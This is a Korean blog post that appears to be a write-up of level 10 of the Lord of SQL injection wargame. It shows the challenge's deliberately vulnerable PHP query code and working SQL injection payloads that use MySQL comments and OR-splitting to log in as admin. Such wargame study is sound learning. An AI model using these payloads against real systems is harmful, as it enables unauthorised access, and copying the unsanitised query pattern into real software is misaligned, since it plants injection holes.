EASY7

Lord of the SQL 10번 본문

Project/Lord of SQL

Lord of the SQL 10번

E.asiest 2019. 8. 4. 16:44

Lord of the SQL 10번


<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id'] == 'admin'solve("skeleton"); 
  
highlight_file(__FILE__); 
?>

 

(풀이 1)

MySQL 주석 활용하기

1)  # : 한줄 주석 (%23) 
2) /* 여러줄 주석 ... */
3) -- :해당 라인의 마지막까지 주석처리. 반드시 뒤에 공백 하나가 꼭 있어야 정상 처리된다.
어차피 뒤로 주석처리 되므로 URL에서는 뒤에 아무 글자 넣어서 공백을 나타내야한다. 

 

' or id ='admin' --  d 

' or id ='admin' %23 :  %23은 #이다. #을 그대로 넣었더니 인식이 안된다.

 

(풀이 2)

뒤에 있는 AND랑 분리시키기

' or id ='admin' or '1' ='1 : OR을 중간에 두어서 뒤에 코드랑 분리시켜줬다.

 

 

 

'Project > Lord of SQL' 카테고리의 다른 글

LOS 12번 문제  (0) 2019.08.09
LOS 11번  (1) 2019.08.04
Lord of the SQL 9번  (0) 2019.08.04
Lord of the SQL 8번  (0) 2019.08.04
Lord of the SQL 7번  (0) 2019.08.04
Comments